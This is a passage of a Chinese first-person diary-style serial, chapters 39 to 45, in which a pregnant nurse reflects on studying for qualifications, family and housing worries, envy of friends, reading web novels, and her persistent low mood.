    红枣之类的每天都要吃一些了，因为吃红枣安神，可以缓解失眠的状态。不过医生还是说我的眼圈好黑，像画了眼影一样，明明睡的挺多的，不知道怎么回事，可能性我就是感觉自己睡得还好吧！
    去年上坚持的最好的就是学习强国还有刷牙了！希望自己再接再厉吧！
    想要下一个app可是内存不足！
    我总是很希望她们可以考到执业医师的证，因为我认为医生也是不容易工作的，有证会更好的，可是我最近做的梦太多了，这又和我没有什么关系，人家看不看书，复不复习，关我没有什么事！我天天在人家耳朵旁边吵，反倒会惹来很多反感，最好就不要再讲这样子的事了，毕竟人家是经历过高考筛选出来的，肯定会比我更优秀，然后每个人的学习方法都不一样，楞是强迫别人的话，肯定会没有朋友的，也不要对别人的言行有指手画脚的想法，因为医学真的是靠领悟能力的，像我天天抱本书看，其实我什么都没有看懂！可是有的时候我没有看书，偶然间就悟了一个知识点，所以我不要对别人有很多的成见，或者自己的想法很好很好，可是并不是适用于每一个人，我只能在心里祝福，希望她们学业有成，工作顺利！至于其他的不要去干扰！每个人都有每个人的特点！学习的方式也不一样！所以祝福就好！上天会看到我的诚意的！
    昨天看到一句话，我认为很有意思:在晚上失眠的时候翻一翻《刑法》《合同法》《劳动法》既能提升知识，又能促进睡眠！一举两得！
    我昨天听了一会儿《共产党宣言》。我发现这个我也听不懂，果然这些书都是需要很强的领悟能力的！听了几十遍了，有一点点的理解了，又好像不太理解！总之想好好休息，就看看这些复杂的深奥的书吧！看不懂没关系，反正可以促进睡眠！挺好的！
    这些东西很多都是网上学的！没办法我自己又有什么样的思想呢？我也不清楚！我很想把之前的羊皮卷录音下来，然后每天听！因为我感觉这些话语应该可以给我带来自信和平和的心态！不过我想了很久了，这个念头，执行能力的话，我需要一会儿，希望我在四月底，可以行动起来吧！

 第39章

    今天朋友和我一起聊天！她说她很羡慕我，因为我的工作看起来没有她忙！其实她并不知道我有多羡慕她，她的生活很富有，然后工资也比我高，还有很强的工作能力，有一大堆的朋友，不知道是否真心，可是差不多都能给她带来很多的收获！所以她在我的人生里一直都是羡慕的！
    可是知道对方也在羡慕我，我听到了之后特别的诧异！感觉就是这样子吧！每个人都是活在别人的幻想当中，幻想别人的生活很美好，很幸福，其实都差不多，每个人的人生都不会特别的完美，完美和幸福的事不在我们这个纬度！
    以前我什么都很好的时候，有一些人说很羡慕我，可是我却羡慕别人拥有喜怒哀乐的能力，因为我没有情绪，总感觉自己像是一个没有感情的机器一样，能够做到很多事情，可是我没有感情！后来我什么事都做不到了，有了情绪，我终于拥有了我很羡慕的东西，情绪，我可以有喜怒哀乐了，可是很多的事情却做不好了，总是感觉自己很差劲，从他人那里收获的也是很差劲！非常的情绪低落，有的时候情绪又很好，就像我一直都在找为什么我会没有执行能力一样，因为我有了执行能力的时候我只感觉到绝望的没有感情的像一个机器一样的感觉，我感觉不到我做的事情有给我带来成就感！等我什么都做不到了，可是我又有很多很多的难过和绝望出不来，因为我发现我给不了很多东西给我想要的人，包括我自己！所以无论拥有了情绪和没有拥有情绪我都很难受！不一样的难受！
    这是我的一个病，可是我并不理解它！并不懂它为什么而存在！后来我发现了意义，乐趣，技能！大概就是这样子吧！我有技能的时候，我不知道自己的意义是什么，也不知道自己的乐趣是什么，等我有了乐趣的时候，我发现没有技能的自己是多么的痛苦，没有意义的乐趣又是多么无聊和空虚！这三者一定要维持在同一种状态下，才会感觉到真正的快乐！以前看到这个东西的时候我是不太懂的，后来我看了很多遍，结合自己的情况我理解了一下！所以我需要找到我的人生意义，技能，还有乐趣！我才不会痛苦！
    同事也是一样的吧！我不是很建议转行，因为有的老师试过了，隔行隔座山，别人的苦你没有看到，如果你自己去经历一下的话，就会发现还是自己本职工作好，因为我们花了很多的时间和精力在这里，而我们要重新再来，是很难的，我们需要重新去学习另一个行业的知识。学精需要很多很多的时间，如果这个职业又是我们不适合的，那么我们就会浪费很多的时间和精力！有钱人或者很富有的人除外，因为他们有资源，可以请名师指点，然后时间也很富有，学完了这个不行就学下一个，有时间有金钱耗得起，而我们平凡人就不一样了！我们要挣钱养家，一边又要重新学习，实在是难！所以在能够把自己本职工作做好的前提下，好好做吧！任何一个行业都是钱难挣屎难吃，没有什么区别！关键在于你喜不喜欢，如果实在是无奈，那么久就准备好一切，能力去学习！不过我没有这个想法！
    我想拿副主任护师资格证！其实我也不知道对我一个不在临床岗位上的人来说，有什么意义，可是这就是我的人生目标！既然是人生目标，那就好好学习，好好工作！达成人生目标就好了，其他的想那么多做什么？
    名利啊地位啊！财富啊！这些东西努力了，达不到目标就当它是需要很多很多运气的，很多福分和功德的！别人拥有这些东西都是因为他们有福分，而自己的话，好好的攒福分下辈子花！
    最近看了一个视频关于古汉语的，我的娘也，本来想着在这个世界里好好学习，以后万一穿越了，还能发家致富，这个语言真的是听的我头大，可能穿越到了古代，我不知道会不会被农民伯伯的锄头砸死？可是即使是这样子，也需要好好学习，万一穿越的是魔法世界呢？万一我在那里是从小长到大呢？万一我学的会呢？反正人生还是要有目标的！要找到让自己感到开心和幸福的事！这个世界也许有很多事情让我们感觉不完美，可是我们尽量学那些完美的就好了！学那些美好的就好了！
    就像鸡蛋旁边的屎一样，我们要吃的是鸡蛋，把屎洗掉就好了！鸡要生蛋鸡也一定是要拉屎的！！
    学了一会儿，夸一下自己吧！真棒！虽然没有达到我的预期，可是真的很棒！
    我突然之间想到一个事情。我有一次在不受控制的想要嘲笑某一个人，可是我并不认为她值得我嘲笑，而且这种嘲笑没有什么意义，可是我脑子里就是不受控制的想要嘲笑！我搞不懂为什么？也许那个时候我的心里太难过了，也许是因为我吃饱了闲的，也许是因为我的眼界很狭隘，看待问题很片面！还有就是也许是因为我接受了别人心里的心情反射！其实不是我想嘲笑别人而是因为那个人心里对自己特别的对待，可是对方反射到我这里了，然后我做出了反应！这也许是这样子吧！也许是我自己很多事情想的不明白，也许是因为我那段时间心情不太好，也许是因为我的眼界不够开阔！对方是一个单亲妈妈！她学识优秀，很多时候对我的帮助是比较大的，然后有的时候她的指点对我来说很重要，有种豁然开朗的感觉，仔细想想，也许是因为我心里好胜心很强，很想比过她，可是她太美好了，所以我想从这个点来切入，让我感觉自己不是一无是处的，有优点的！也许吧！我也不明白，人实在太复杂了，脑回路我也不太懂！
    反正原因有很多啊！总之这样的想法出现，可能是因为我需要提升我内心的修养了！
    单亲妈妈也并不可耻啊！她们很坚强，需要付出很多的心血来抚养孩子！所以我需要提升我自己的修养了！大道三千，每个人的生活都是不一样的，多姿多彩的也好！事情也不一定只有一个观点！希望我看到的那一面仍然是光明的！美好的！很多事情很多的处境都不是我们人为能够选择的！各有各的残缺，各有各的美好！

 第40章

    做噩梦，梦到了需要抢救的病人！梦里面我帮忙打了一遍又一遍的120，可是对方还是很奇怪的状态！好像很难受的样子！
    我想帮对方，可是我感觉我并没有感染力，救得了对方的身体，却救不了对方的心灵！我也不知道为什么会有这样的念头！可能很多的事情都让我感觉自己无能为力，好像没有心灵，无法给别人带来感染力！无法从心里说动他人！这也许也是一种天分吧！我认为我虽然过得不是很好，可是也有属于我自己的优势！可是我还是希望自己有所成长！
    也许想要的太多了，所以很不满足，会常常鞭策自己。如果不去鞭策自己的话，就没有成长的空间，如果鞭策自己的力气太大了的话，就会给自己造成很大的压力！
    适当吧！
    今天看了一些小说，好过瘾啊！虽然说我知道沉迷不好，但是作者写的好精彩！不知不觉就过去了很多时间！比如有的人脑子里面有奇怪的手机电波，可以在心里想一想就能上网，还有的脑子里有群，可以在脑子里想一想就聊天，还有很神奇的镜子，只要看到它就能看到自己一生的过程，还有全身都是骨头架子的龙，会六月下雪的神仙，天道居然也会被人算计，还有人可以偷别人的脑洞，可以看黄粱一梦的故事，总之节奏很快，虽然感觉很赶，可是这些神奇的情节就是让我感觉很精彩！
    可是看完之后自己又有点闷，总感觉可以用时间学东西，可是有的观点就是:想要开心的玩的时候就好好投入，想要学习的时候就马上学习！在自己感觉很愧疚的时候就去好好学习！这样子就会更开心一些！
    看一些分析说我是一个很有才华的人，需要多交朋友才能让我的才华有所发展，可是我感觉不到我的才华啊！真神奇！
    也许是因为我现在还没有攒到很多的能力吧！朋友好像也没有交朋友！最好的朋友可能就是手机了！交朋友好麻烦需要逛街，花钱，回馈并不一定会让我感觉到开心！
    还是需要多交流吧！
    很想和爽文里的女子一样好好干事业，没什么闲心去在乎情绪，可是我好像不具备好好干事业的能力。可惜可惜了！那就好好培养自己的心性吧！
    最羡慕女主角的样子，就是可以持之以恒的做一件事情，然后就是羡慕她们可以那里都跑的去玩，好多奇奇怪怪的风景！学习很多很多的知识，可以攒下来自己用！
    最重要的还是心灵，心灵坚定！
    这些可能都是我所没有的，所以我会非常的期待，和充满幻想吧！像星际文，有一个故事很有意思，一颗星球居然是一颗树，而那棵树还有灵魂，像一个人一样，可以在太空里跑，树上还会长鸡窝，那些鸡很大很白，还会飞，下的蛋对人很有益处，总之脑洞好大！看了很开心，特别是自己能够想象出来的场景！那些故事情节都忘得差不多了，只记得那些景色很美！
    大部分的文都差不多一个样子，一个人经历了很多很惨的事情，然后主角过来帮忙降维打击，然后功德圆满，差不多一个样子，我也不知道我什么时候会看腻，《一千个深吻》那本书我还看不懂，看了好几遍了，我得出的结论是人不可貌相，海水不可斗量。闲的没事干不要对太多的事感到好奇，也许别人在经历一些奇怪的事也不要去过分好奇，平静的去看待！一辈子说短也不短，说长也不长，静静地看着吧！
    今天做的饭菜很香，可是吃了我有点拉肚子，因为平时吃的太清淡了，现在吃的太油了一下子接受不了，吸收不了这么多营养，本来打算吃很多吃的，可是我感觉我自己一点也不想吃这些东西，然后就没有经常吃！可能是我的手艺不算特别的好吧！
    想要把日子过得好一点，看来真的需要好多好多的学习的东西，可是我只是意识到了这个问题，却没有从执行能力上去行动，不知道怎么样才能让自己从心里面行动起来呢？
    看了一些网上测的东西，感觉和自己的状态差不多，可是如果一味地相信各种东西而不自己去努力的话，那么什么都不会改变，或许我的运气有点时间会特别的好可是不学习，不努力，就算运气再好，也就只有一点点而已！毕竟老天爷还是公平嗯！
    就像之前预测自己有好运，然后就等着天上掉馅饼，然后真的就被抽中了一些书卷。挺感动的，我看了不少小说，可是我也渐渐的明白了，人真的无法挣到自己认知以外的金钱，所以我需要提升自己的认知水平！有很多的事情，在以前我看起来完全不能理解的，现在都能稍微理解一些了！可是仍然没有太大的改变，因为我发现还是有很多东西是我无法理解的！
    慢慢来吧！急我也没有用，没到时间，无法理解的！
    或者碰到了就没有办法理解！这也就是见得世面太少人生阅历太少的原因！也是沉迷小说的原因因为那些主人公的经历，或多或少可以给我带来一些正能量的东西，当然也有负能量的！看自己怎么理解了！怎么看待！
    很想去买一些零食，不过不知道为什么不太想买不想动！我应该要去买东西！嗑瓜子，还有吃水果，苹果还有好多个在家，还没有吃完，嗑瓜子很害怕会上火，松子仁太贵了，家里还有花生没有吃完，想买核桃吃。可是我好像不太想买，要不要买呢？好纠结啊！听说吃这些东西可以对宝宝的身体发育很好，可以天然的补充磷脂！还是买吧！虽然现在会贵一点！但是对以后好！
    应该也要买一些衣服之类的吧！想要买几件子！可是不能买很多，同事说她们买的衣服很多，宝宝根本穿不赢，然后那些衣服就不能穿了！
    现在备的菜还行，没有准备很多，我需要吃掉我的柠檬了，冰箱里还有好几个，虽然它们应该可以保留很久，但是我应该要计划吃掉一点，不然现在只有花钱买水果时会感觉到开心，可是却不爱吃！我也不知道我的毛病怎么来的！之前长辈就是这样子，种了很多很多的菜，收获的时候是很开心的然后就留起来不用，就坏了，坏也是有原因的，主要是太远咯，没办法卖出去！又不舍得自己吃！
    我就不一样了我喜欢买，买回来放箱子里不吃，然后过了很久很久有可能一年或者两年才想起来自己有这些东西，发现都被虫子吃掉了，我之前买了莲子花了九十多块钱，然后计划自己每天吃一点，让自己身体好一些，然后过了几个月全部被虫子吃光了，买了面粉，虫子吃了。。。总之不知道自己怎么回事，为什么计划想要好一点的。会事与愿违呢？为什么执行能力会很低！

 第41章

    昨天去老家了！
    其实我不想回老家怕呕吐！不过这次可能是因为办好了自己的事情到了下午三点钟左右，已经消化好了，所以没有吐，挺好的！
    申请到了人才公寓！很意外会那么快。已经其他人据说等了三年！不过他们是公租房，和我们的不一样，然后我跑的地方也不一样啊！我跑了好多地方，签字盖章！还好领导他们给力，然后我拿到了毕业证！所以还是需要好好学习啊！有大专的毕业证，办好了！下次要考本科的毕业证了！我真的很希望自己能用心！因为这样子人生才有保障！虽然嫁人了，但是别人是靠不住的！不管他是家人还是老公！老公有自己的工作压力。我也有自己的工作压力！我不能把自己的负担压在他身上，那样会累的！所以需要我自己好好的承担！我知道我很期待小说里的男主角和女主角的感情，可是现实世界并不是小说，我既没有小说里女主角的优点，还有女配角一样的缺点，就不能奢望自己能够遇到那样子的好事！我需要清醒并且朝着我喜欢的方向前进！
    在乡下的几个小时，老公还是比较暖心的，他会在下山的时候牵着我的手，小心翼翼的，会给我摘花，天很冷，会把衣服给我穿，他自己都有点感冒了！挺温暖的！虽然我不知道这种温暖能持续多久，但是能开心一秒是一秒吧！把握当下！
    家里的茶叶原来叫云雾茶，因为我们老家好多好多雾，下午了起了很浓的雾，然后到了傍晚的时候整个地方都是白茫茫的，还好家公是老司机，稳得一批，可以把我们带回去！而我还没有去考驾照！老公考了，但是他还不敢开！老家的路特别的陡！不过过完了那些路，就特别的平坦！感觉老家就像世外桃源，一样宁静，如果退休老了以后我们可以回家种田也还好吧！现在应该是女性！六十岁退休！希望我能活到退休！我们那里的田都慌了不少，因为是高山寒冷，天气特别的冷！种稻子又没有水，河都没有看到一条，所以很难有农业上的收成！
    我希望我的心里会有力量吧！回县城的时候，我的内心是开心的，家婆说如果我生女儿也挺好的，之前他们讲儿子，搞得我心情很不好。吃不下饭！因为我感觉很有压力！其实不管是男孩子还是女孩子我都很喜欢，希望他她健康平安就好！
    可是我不喜欢别人压制我的感觉！
    虽然我知道男孩子肯定会更好，家公家婆会很开心，老公也会很开心，自己以后可能会高枕无忧，因为家里人都不会为难自己，现在的社会生女儿也不会为难了！可是很多事情，还是喜欢顺其自然，不想自己想不想，而是孩子是天赐的礼物！不管男孩子女孩子都好好珍惜！
    梦见了宝宝，我对她|他说:我可能自己不知道爱会是什么，如果他很渴望母爱的话我可能给不了那么多！但是我会用伦理道德克制我自己的脾气性格！
    早上起来五点多！要准备上班！其实昨晚是十二点睡的，最近我睡的很晚，因为老公是夜猫子，我也跟着，其实我不太想跟着，下次再早一点休息吧！昨天忘记了做学习强国，我需要做了！我需要有长进！还有需要花时间去学习操作的事了！还有需要考中级！要花时间！我需要早睡早起！
    我需要改变自己需要成长！想尽一切办法去成长吧！开开心心的！
    我总是近朱者赤近墨者黑！我很容易被同化，同化可以让我融入这个环境，然后不容易产生矛盾，可是我想要长成自己心里期待的样子！快乐的样子！我希望我在被同化的时候，仍然有自己的样子！我可能完成不了一小时两千字的任务了！因为我困了！虽然还有半个小时，可是我好困啊！想休息半个小时了！

 第42章

    今天上班了，看了一会儿书！有一点点长进吧！我没有想到主动脉居然可以那么细！认识了各种分支，虽然我是考到护师了，可是其实很多东西都不是特别的懂，因为我的悟性比较一般，只是一个勤奋学习的人，可是学习了并不是说自己就一定特别的懂，所以我有的时候有病人家属问我什么，我都回答不出来因为说不清楚！
    今天去人才公寓量尺了和老公一起！第二个房间有点小，不过也能住！需要去划算一下，不过老公就是设计师，就让他自己去设计就行！回家之后，家里人好像不太同意，买那么贵的装修，因为我们需要打算以后买房的事，毕竟也不想住一辈子的人才公寓！房子比较小！可是首付很贵！我们还攒不到那么多！想买四室两厅的房子，其实更想要五室两厅的，因为家公家婆一个房间，弟弟一个房间，我和老公一个房间，宝宝一个房间，然后一个小隔间！总之想就想的很好！现实太难了，家公家婆也认为很有压力！
    所以不要想那么多！可是还是需要有希望的吧！
    微商，我不行，销售我也不行，有的同事的话，下完晚班就会去做其他工作，超级累人的，化妆师之类的，微商卖口红，卖化妆品，然后有的是健身教练，总之就是有很多的路子！我很羡慕，可是我没有这份能力！因为我的口才不行，然后以前很想化妆的没有学会，然后学了一段时间会计，也不行！总之有一种特别的感觉！什么东西我都很羡慕，可是我都干不好！像会包包子，有手艺的，我很羡慕，会做菜有手艺的羡慕，像有的同事摄影技术很好，也会当模特，也挺好的！总之所有人在我的眼里都很不错，可是我却没有什么能力！自己的本职也不算很好的样子！
    有一种自卑感！从心而生的那种，怎么拔都拔不了！然后自己也没有从心里有力气想去做一件事！我的内心很着急，可是我也毫无头绪！我认为我需要心灵里有能量我才能做得好事情！我很喜欢自己专注于学习，专注于做某件事情的样子，可是现在的我没有达到这种状态，我也不知道为什么，可能我比较难受吧！像工作里遇见了一些自己心里不开心的事，不能讲出来，遇到了一些难受的事情，不能讲出来，即使是在网络里我仍然会克制自己，因为我害怕这些负能量会给我哦带来很多的麻烦。我并不是很开心，至少表面和内心不算特别的快乐！不管我怎么试图让自己好一点，都没有办法。这是我的心理问题！没有办法去解决！我也想去找心理医生，可是很贵，我的生活并不算富有！我也很害怕去找医生，很害怕信任一个人，好像即使只有我自己我也不太信任。这种事情也没有办法！好累的心理疾病啊！特别是我童年应该也没有经历过太多的东西，只是看了看电视剧就有了很多的阴影！无语至极！可是这就是我自己啊！也许我人生的意义就在于修好我自己吧！
    我很多时候都想给自己换个脑子，希望自己能够聪慧！心灵美好！可是这只是表面的愿望，在我的内心里我看到的自己是一个小孩子，也不知道去选择什么？有一种听从很多安排的感觉。茫然的，不快乐的！我也不知道这是什么原因导致的！只知道过了一段时间就感觉很累很累，从心里没有办法说出来的累！
    只有小说才能让我感到一点开心，或者只有药物才能让我有一点点认同感，不过我怀孕了没有去用药！怀孕之前是用中药调理的，可是调理了一段时间又不太想，我总感觉我看到了本质里的自己，特别的痛苦，即便是有药我也不想治疗我自己，黑乎乎的灵魂，特别特别的痛苦，没有任何光泽！
    其实治疗自己的方法有很多很多，书籍里面有很多很多的方法，可是我没有看进去！也许我在寻找我人生的意义，也许我感觉到了不开心，没有办法表达我的情绪，不表达出来，是因为我没有感觉到自己拥有周围的安全感！说出来也许会被攻击，被讨厌，被责罚！也许吧！
    反正我知道我病了，我没有办法去解决，因为没有钱解决！很多事情都是需要花钱的，即使是朋友之间的关系。要么就是人情，这些东西我都还不起，不知道为什么我会认为我还不起人情？我不知道我的认知是怎么来的？反正这个认知根生蒂固，怎么劝都劝不了！
    反正这个世界上没有什么事情会是免费的，需要什么就能努力去争取，努力的工作挣钱去获得自己想要的，比如四室两厅的房子，比如一个摄影机，比如学会自己想要学习的技术，比如变得聪慧！比如心情是快乐的，比如找到我自己存在和活着的意义！比如很多的东西！
    我不算很快乐！可是身边的人已经对我很好了！我看得到他们对我的好。感受不到！

 第43章

    今天上晚班，下午四点上班！
    昨天晚上很晚才睡着！因为看小说，没办法戒了吗？没办法吧！梦境里我自己说我很难过，因为我的压力很大！因为我看到过真实的事情！很难过的事情，我一直都想把事情做到最好，让人认为女孩子也特别的优秀。不会随意的丢掉她们。这是梦境里的我感受到的情绪。
    好像今天没有那么累了！其实我还是搞不懂什么原因？那些事情都已经过去很久很久了！突然让我想起了一个小伙伴，她是被丢掉的孩子，然后也被人家捡回来了，也过得挺好的啊！人家小小年纪就很会做饭做事，然后挣钱嫁人了，嫁的也是比较好的老公，然后也生下了孩子！虽然命运坎坷，可是我认为她还是幸福的，没有被世界抛弃过！她虽然没有上很多的学，但是那只是因为她学习成绩两三分而已，她的家里人养父母都很希望她能好好学习！她过得很好！只是我心里不希望再有小孩子被丢了！也许是这个原因吧！另一个朋友她也是被亲生父母丢掉了，捡到了的养父母年龄很大了，然后他们也把她照顾的很好，还不介意她会把自己的工资供养自己的亲生妹妹，然后工作也非常的的顺利，最后也嫁的很好！另一个姐姐，她也是被亲生父母丢掉的，也过得很好，家庭幸福！反应认识的人，她们其中有曾经被丢弃过得，他们都过得还不错！我为什么要为这些事情伤心还有负担呢？虽然她们没有得到过亲生父母的关爱，但是她们的命运仍然没有被人抛弃过啊！
    希望以后得孩子是健康的吧！我不想丢弃！我只能理智的希望了！因为小朋友健健康康的，快快乐乐的，她会过很开心的一生。能够蹭蹭跳跳的和小朋友一起玩，能够用自己的双手创造自己想要的，能够好好学习融入社会！身心健康，能够满足自己的需求！那么她就是幸福的，生理需求。自尊的，爱与归属的，安全的，自我实现的需要，那些需求都满足人生就是幸福的！就那么回事吧！
    达到人生成就不是别人看到的，是自己想要的就可以了！
    然后我自己对照一下，我幸福吗？我还不算吧！以上的我都还差一点！
    我需要什么？我真想问问我也自己？
    爱与归属暂时可以在老公那里找到，安全？自尊？自我实现？生理上我还不知道我需要补充什么？总感觉自己缺点啥，有不知道缺什么？
    自我实现很难！因为我的目标达不到吧！很努力，也与我的内心相差甚远。即使重新生活都达不到。换一个目标吧！一点点的实现一些小目标，比如扫地拖地。比如念一会儿书！比如学习五分钟，玩两小时，真的事与愿违是一件很难受的事情，可是现实情况就是这样子的，你能怎么办呢？
    昨天我看到了老同学，看了很久才认出来，不过认出来也就这样子吧！我还要急着上厕所，打了招呼就走了！不知道她过得是否开心，不过也不关我的事了，因为很久没有见过了，她也有她的人生，然后我们在中学也不算熟。就一个班而已。就这样子吧！之前有一个很可爱的小姐姐，她说她是我同学，可是我一点印象也没有了，然后我一直想她是哪一个，也想不起来了。实在是记不起了！这是最尴尬的！记起来了也没用，我又没有什么利益往来，天下熙熙皆为利来，天下攘攘皆为利往！我拿不出什么东西可以交换感情，成年了纯粹的感情很少，而且中学都没有发展的感情，怎么成年了会有呢？想多了！啥感情都差不多！
    小时候因为两毛钱的辣条需要花钱让我断绝了友情，中学因为辣条需要五毛一包太贵了，让我断绝了爱情，长大了因为需要花钱饭局让我断绝了同事之间的感情，虽然省掉了很多钱，也省掉了很多感情，在边边角角的角落里生存有点苦逼。说值得也值得，说不值得也不值得！怎么讲呢？就是想笑！
    对于有头脑的人来说是不值得的。因为和人交流沟通可以过得一些开心的东西，会有成就感，会感觉到心里安全踏实，难受开心的时候，会有人陪着，这是一件幸福的事，虽然需要花钱，但是别人也会花钱在自己身上，而且花出去的钱几乎都差不多。虽然获利的只有店家，可是自己也可以收获很多很多的幸福。这些东西在老了以后会很珍贵的！
    不过我没有这样子选择。无论怎么讲我自己，我都不想去维系感情，我只想不花钱的维持感情，花钱的我都感觉很累很累。我的内心太缺钱了。我很想治疗我自己，可是太难了！
    我不知道我的认知怎么改？我的童年的梦里，妈妈为了钱去打工了，然后她过年才回来！那个时候妈妈说我有五岁了，应该是虚岁吧！周岁应该三岁左右吧！不知道实际情况，总之，我知道钱很重要，可是它会让我的亲人离别。可是现在的世界里，没有钱的人更容易与家里离开，有钱人更有时间陪伴家人，不过我的认知还是很难改的。
    我感受到的，就是妈妈不喜欢我，抛弃我了，后来妈妈回来了，会骂人，，因为缺钱吧！焦虑吧！总之，我没有什么力气，心里面没有什么能量的感觉，后来梦境里的母亲就是我自己的的样子。因为怎么样才能让我获得更多的关于亲情的方式我是学了的。可是我无法控制自己的情绪不用这些方法，也就这样子，我也就拿我自己没有办法，因为妈妈的工作也很累很累，说实话，如果我有像我这样子的孩子，我也很累很累身心俱疲，不管做什么都是我错了，不断地吵吵闹闹，抱怨，然后自己的工作压力很大，家庭的重心没有人旦着，就自己一个人！谁都会累的！我很累吧！理智上，情绪上又是另一回事了！现在已经没有了关于母亲的情绪，总之，理智上能够理解她不容易生活不易！

 第44章

    昨天晚班！我知道了一些消息！同事新婚计划买房，四室两厅！另一个同事打算租房！有点平静！我也想买房！可是需要几年的时间，家里的长辈他们买房也用了很多年时间，现在还在还房贷，不好意思去借钱！爸妈的话，双方爸妈都掏不出钱。只能靠自己了！
    最近一直想入非非，突然之间怀念起了一个人。其实我不认为他适合我。结婚之前早忘记了，结婚之后记起来，有可能是因为我太穷了，他比较富有，让我有一种相差的感觉。可是他不适合我，和他相处我的负能量爆棚啊！我的潜意识也不太同意我会嫁一个这样子条件不匹配的人。所以我不认为我是后悔的。可是我在记起来。可能他最近相亲对象刚好是同事吧！以朋友的眼光来看，他是个很不错的人，做事情面面俱到，和他相处还算愉快，以男女朋友来看，我不太适合，因为我的负能量太满了。我需要一个人好好的接受我，所以我不认为有什么怀念的意义。应该是差不多想到了。希望他和同事可以好好谈吧！毕竟是老大不小的人了。
    他是一个有房的人。我怀念的意义大概是这个。所以我想要买房，买房了我就不会惦记什么了。都是因为我太匮乏了，什么都没，才会很羡慕别人，为了不让我羡慕别人，要买房，十年以内。
    那个买房的同事偶然一瞬间说我深井冰。也许他认为我不耐烦了吧！昨天一直都在打扰他和朋友聊天。我也不知道为什么昨天我要硬凑过去，我们又不是很熟。可能他是不拘小节的人，才随口说话吧！也许我听错了，不过我真的是耿耿于怀，好生气哦！不管怎么解释，我都好生气。愤怒，我认为他不应该这样子讲我的，还有失落的感觉，为什么我老是和别人交流不好呢？沟通就有那么难吗？反正我说话的特点变成了别人听的很烦，可是他们没有说我很烦，可是我的感觉认为我和人家说话会导致别人感觉很烦。我有点怕和别人讲话了，就像这种情况出现我会很愤怒不想讲话，因为我认为我说的话导致别人不耐烦，然后又很失落自己老是讲话和沟通的时候没有天分。这不晓得怎么回事。也许这就是我沉默寡言的原因吧。
    有个以前的同事，她最近的学习状态非常好。做了一万多题，而且正确率百分之70多。她说是在向我学习。可是我脑海里总感觉这是一句讽刺。因为我的正确率没有那么高，然后我也没有坚持那么久，做的题也没有那么多。最近的学习状态在三天打鱼两天晒网。看，我自己都不能欺骗我自己了。我需要好好学习了。
    其实我内心里以为她很久以前就考到了护师。因为她的大专毕业证比我早好几年就拿到了。不过也有的同事，他们因为种种原因确实有条件她们也没有当时去考，因为家庭的原因，总的来说有机会总比没有机会好。有机会的人，他们可以好好选择。没机会的人他们连选都没得选。所以也没有什么好说的。祝愿同事考试一切顺利。应该也可以的吧！因为她已经那么用心了，感觉也比较自信。
    这戳痛了我懒惰的心灵。我需要勤奋学习，我需要好好努力，我需要进步，我需要坚持下去。我需要考专升本。英语很难，医学很难，政治很难，这些都很难，所以需要我更加的努力用功才行！

 第45章

    今天做了一些检查！还好身体没有出现问题！真好啊！昨天看朋友圈，发现她们在说护师的考试题目，听说很难！不过她们平时都有很好的看书，所以我也就没有当真！应该都会过吧！东东和我聊天，她今年考主管护师！她应该可以过，因为她在最忙的时候都不忘记学习，初级护师的话，她只复习了一个月就过了，所以我相信她，她现在当老师。就更有时间了！
    没想到路易的宝宝是个女孩子，我一直以为是个男孩子！看来是我看错了朋友圈！
    我也在看主管护师的题目，十题有的时候能够做个六十分，还挺好的！我在2024年，考主管护师！我的初级护师一次性过了，也是提前好几年做准备的！所以学习经验就是提前学习！满满熟系自己的知识！学完了其实我还是有很多的不懂，不明白。不清楚！所以需要加油呀！开心！
    今天好像去考本科文凭啊！真的是很希望，拿证！希望自己在有生之年，能够考到副主任护师！希望自己能够拿到国家二级心理咨询师！
    因为心情很糟糕，所以能够理解心里面很难受，很无助的感觉，很希望自己能够解决自己的苦难，也能顺手帮一下别人！
    昨天学习了一点点的知识，发现了自己家里的问题！也许弟弟每次学习犯困就是因为他感觉很有压力！原来如此，我懂了，希望能够好好转过来吧！脑子里一直在想怎么和他说话好呢？他有所成长，那么我和老公的压力就不会很大了！想了很久想不出来！
    老公是个醋坛子，为什么他玩游戏玩的那么入迷，还要乱想？我感觉他有点自卑了，不知道为什么？他喜欢听很奇怪的伤心情歌，搞不懂啊！不过这是他的爱好我就不干涉了！就像最近我爱听《共产党宣言》一样，这也是他不能理解的吧！虽然爱好不同，但是我们相处的很融洽很愉快，不是也还好吗？
    以前会很期待有一个公务员一样的老公，因为老公真的挺忙的。然后他腰不舒服。可是老公没有办法考公务员，他学历不够。然后我自己的条件来说并不算很好，老公人挺好的，家里人也还好，所以我比较满足！可是我的神经粗枝大叶的都感觉到了他有点不舒服的情绪！我该怎么解决呢？我的学历也不高，比老公低！但是我学的是理科的内容，所以知识量可能比他更多！他的专业知识也很不错，都是我不太理解的！该怎么样才能更好呢？生活里两个人在一起开心就是最好了！
    昨天看了一些文章挺喜欢的，不过没有分享出去！脑子里有很多想法，不过没有写出来！反正想想也挺开心的！
    知道了一些关于心理阴暗的事情产生的原因！挺好的！我感觉我时不时就有心理阴暗的想法，没想到这居然表示我是个非常想优秀而且很有素质的意思。。。。。我的内心开心了很多，以前都会非常的苦恼，为什么自己会这样子，现在开心极了！内容大概是童年没有什么安全感，长大以后会恐惧这个，！患得患失，容易想入非非！所以这也是正常的！解决方法，看了，我需要好好学习。好好使用它！不过昨天一看到这个解决方法我就有点困了，看来我需要多看几遍，可能这就是我内心里的锁，需要一把钥匙好好解开！不想解开的原因可能是因为我不解开就会拥有很多源于这件事所产生的收益！
    怎么样改变呢？
    今天下午又想哭了！情绪很多变！我也不知道怎么回事啊！特别的伤心，可是又没有发生什么事，老公带我去买水果吃，买了一大堆，都是喜欢的！也吃了晚餐在外面吃的！不知道为什么我那么难过？我哭不出来！可是使劲的想哭！找不到原因啊！怎么会突然出现这样子的情况呢？
    我好难过啊！我到底发生了什么？也许是孕妇的情绪就是这样子变得很快吧！我好难过！为什么呢？可能我很久以前喜欢的人他结婚了吧！只能这样子想了，因为我找不出什么原因了！希望他一辈子幸福，平平安安的！我也希望我平平安安的，顺顺利利的！
    今天知道了一些打破我认知的东西！天天在我面前哭穷的人，居然比我更有钱！工资比我高几千，啧啧啧，我果然还是太天真了吗？也没有吧！主要是我的工作能力不行，如果自己是一堆屎，放在哪个位置都特别的恶心人。对于朋友羡慕和嫉妒的情绪都没有！因为我们本来就不是同一个层次的人，她的层次比我的更高！我一直也是这样子认为的！所以心情很平静！然后我也确实上班的能力一般，然后对于工作岗位比较容易过敏不适感！我又不是富二代。选择了一个错误的路就有资本和勇气去换另一个行业！所以这样子的结果对我来说是最好的了！
